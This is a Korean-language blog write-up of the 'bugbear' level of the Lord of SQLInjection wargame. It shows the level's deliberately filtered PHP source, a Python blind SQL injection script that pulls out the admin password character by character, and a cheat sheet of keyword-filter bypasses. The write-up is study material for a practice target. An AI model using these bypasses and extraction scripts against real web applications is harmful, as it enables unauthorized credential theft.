R136A1
[LOS] 13. bugbear :: blind SI 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
PART1
제약조건
no 파라미터에 작은따옴표('), =, substr, ascii, =, or, and, 공백, like, 0x 못씀 (대소문자 상관없이)
ㄴdarknight에서 달라진 점
pw 파라미터에 작은따옴표(') 못씀 = 뒤 함수를 제약하지 못함 → no에 exploit해야 함
select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}
Hello {$result[id]} 로 쿼리의 결과 확인 가능
연산자 순서가 and -> or 순서이기때문에 no에서 or 조건을 추가하면 앞의 조건들을 다 무시할 수 있다
ex) 1 and 0 and 1 or 1 → 뭐든 __ or 1 → 항상 참
- - - - - - - - - - - -
PART2
추가 제약조건
pw 파라미터에 addslashes 함수 적용 → 주로 쿼리 전달 전에 쓰여서, ' " \ null 값을 \' \" \\ \null 로 replace한다.
이렇게 생성된 SQL문을 실행시키면, \' \" \\ 등의 값이 문법이 아닌 '문자'로 해석된다.
select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'
result['pw'] == $_GET['pw'] 이므로 일반적인 SQL injection로는 알아낼 수 없다.
length, mid와 같은 함수를 통해 특정 정보를 추출해낼 수 있는 blind SQL Injection이 필요
→ 참, 거짓을 통해 확인할 수 있는 환경 갖춤 → Blind 맞음
문제 풀이의 목적은 여기이다. admin의 패스워드를 알아내는 것
달라진 점이 no 밖에 없기 때문에 페이로드 구성만 손봐주면 될 것 같다.
먼저 GET LENGTH에서 like를 < 로 바꿔서, {len} 미만 조건으로 바꿀 경우,
length(pw)<0,1,2,3,...
0~길이 까지는 조건을 만족하지 못하므로 처음으로 "Hello admin"이 나오는 {len}에서 1을 뺀 것이 길이가 된다.
역으로 > 이 된다면, length(pw)>0,1,2,3...이므로
0~길이-1 까지만 조건을 만족하므로
if not "Hello admin" in res.text 에서 잡은 그 {len}이 그대로 길이가 된다.
# --------GET LENGTH---------#
for len in range(99):
query = f"1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/length(pw)/**/</**/{len}/**/#"
params = {'no': query}
res = requests.get(url, cookies=cookies, headers=headers, params=params)
print(res.url)
# print(res.raise_for_status)
if "Hello admin" in res.text:
print(f"[+] Get Password length : {len}")
break
GET PASSWORD의 경우
or 문이 포함되어 있으므로 || 로, 여기서 의도치않게 ord 함수도 걸리므로 hex()로 변경하고, {j}에도 hex()를 적용한다.
and 문이 포함되어 있으므로 && 로, (*주의. &을 대체할 때는 예약어이기때문에 URL encoding해야 함)
ㄴ아래와 같이 requests.get의 인자인 params 형태로 넘겨주면 자동으로 encoding해서 쿼리를 보낸다.
query = f"1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/length(pw)/**/</**/{len}/**/%23"
params = {'no': query}
res = requests.get(url, cookies=cookies, headers=headers, params=params)
like(=) 문이 포함되어 있으므로 칼럼명 IN(값1, 값2...)으로 대체한다.
(GET PASWWORD 부등호는 사용하기 어려움. 이처럼 구문의 앞뒤에 따라 상황마다 다르게 적용한다.)
pw=""
for i in range(1, len + 1): # pw의 길이만큼 반복 1부터 len까지
for j in range(ord('0'), ord('z')): # 0-9, a-z, A-Z까지의 ASCII코드 - 문자열 넣어줘도 한 글자씩 들어감 abcd...
# print(j)
query = f"1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/hex(mid(pw,{i},1))/**/in/**/(hex({j}))/**/#"
params = {'no': query}
res = requests.get(url, cookies=cookies, headers=headers, params=params)
# print(res.raise_for_status)
if res.text.find('Hello admin') != -1:
pw += chr(j)
print(f"[*] Finding... : {pw}")
break
print(f"[+] Found Password : {pw}")
- 공백 → \n, %0a, %0c, %0b, /**/, %09
- 등호(=), LIKE → between함수, instr 함수, IN 연산자 칼럼명 in(값1, 값2), 부등호(<, >)
- 싱글 쿼터(') → 더블 쿼터(")
- ascii 함수 == ord 함수 (문자 to ASCII)
대체제: 1) hex 함수
2) chr 함수 (ASCII to 문자)
(주의. 비교되는 값도 ascii, ord, hex가 적용된 값이어야 한다.) - substr 함수 → mid 함수, right(left())함수
- OR → ||
- AND → && (URL Encoding: %26%26)
- 문자열 검색 함수
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index('ab','b',1)
→ex) ord(right(left(pw, {i}), 1)) like {j} 를 instr(left(pw, {i}), {pw+j}) 로 변경 - 문자열 비교 함수
strcmp('a','a')
mod('a','a')
find_in_set('a','a')
field('a','a')
count(concat('a','a'))
최종 페이로드
?pw=52dc3991
sql injection은 문제 풀면서 기본적인 것을 기준으로 먼저 페이로드를 구성해보고 (, and, or, substr, =...)
그게 막히는 조건이 있을 때 하나씩 바꿔보는 식으로 하는 것이 일관성있을 것 같다.
그리고 완전히 같은 함수, 연산자는 없을 것이다... 추후 = 와 like의 차이를 잘 알아보자
'WEB SECURITY > SQL Injection' 카테고리의 다른 글
[LOS] 15. assassin :: blind SI (0) | 2021.09.19 |
---|---|
[LOS] 14. giant :: SI (0) | 2021.09.18 |
[LOS] 12. darknight :: blind SI (0) | 2021.09.17 |
[LOS] 11. golem :: blind SI (0) | 2021.04.27 |
[LOS] 7. orge :: blind SI (0) | 2021.04.26 |